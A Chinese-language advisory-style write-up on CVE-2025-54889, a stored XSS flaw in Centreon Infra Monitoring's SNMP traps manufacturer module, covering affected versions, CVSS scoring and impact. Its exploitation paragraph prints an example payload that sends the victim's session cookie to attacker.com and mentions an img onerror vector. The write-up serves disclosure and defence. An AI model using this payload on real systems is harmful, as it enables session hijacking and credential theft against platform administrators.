CVE-2025-54889CVE-2025-54889是Centreon Infra Monitoring平台SNMP traps manufacturer配置模块中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入未能进行充分的过滤与转义处理(Improper Neutralization of Input During Web Page Generation),属于CWE-79类安全缺陷。Centreon是一款广泛使用的开源IT基础设施监控解决方案,被大量企业用于网络设备、服务器及服务的集中监控管理。
该漏洞的影响范围涵盖三个主要版本分支:24.10.x系列(24.10.0至24.10.13之前的版本)、24.04.x系列(24.04.0至24.04.18之前的版本)以及23.10.x系列(23.10.0至23.10.28之前的版本)。根据CVSS 3.1评分标准,该漏洞获得6.8分(CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N),被评定为中危级别。
攻击者需要拥有高权限账户(PR:H)才能成功利用此漏洞,且无需用户交互(UI:N)。由于漏洞属于存储型XSS,恶意脚本会被持久化存储在服务端,每当其他用户(包括管理员)访问受影响的页面时,嵌入的恶意代码便会自动执行。这可能导致会话劫持、敏感信息窃取、权限提升乃至对整个监控平台的进一步渗透。该漏洞的范围发生变化(S:C),意味着成功利用后可能影响到超出该组件的安全范围。Centreon官方已发布安全公告确认此漏洞,并发布了相应的修复版本。
该漏洞的核心问题在于Centreon Infra Monitoring的SNMP traps manufacturer配置模块中,用户提交的输入数据在存储到数据库或后端存储之前未经过充分的HTML/JavaScript转义和过滤处理。当具有高权限的用户(如管理员或配置管理员)在SNMP traps manufacturer配置界面中输入包含恶意JavaScript代码的字段时,这些代码会被原样保存到后端存储中。
漏洞利用过程如下:攻击者首先需要获取具有高权限的账户凭证(PR:H),这通常通过社会工程学、密码爆破或利用其他漏洞获得。获得权限后,攻击者登录Centreon管理后台,导航至SNMP traps manufacturer配置模块,在可配置的字段(如制造商名称、描述、OID等)中注入精心构造的XSS Payload,例如`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`或使用事件处理器如`<img src=x onerror=...>`。
由于输入未经适当的中和处理(Neutralization),恶意脚本被持久化存储。当其他合法用户(特别是具有更高权限的管理员)访问包含该配置信息的页面时,浏览器会自动解析并执行嵌入的恶意脚本。由于Centreon监控平台通常涉及大量敏感的网络拓扑信息和设备凭证,被窃取的会话Cookie可能导致攻击者完全控制监控平台,进而影响整个IT基础设施的可见性和安全性。该漏洞的CVSS向量中范围标记为Changed(S:C),表明利用此漏洞可能影响超出SNMP配置模块本身的其他安全边界。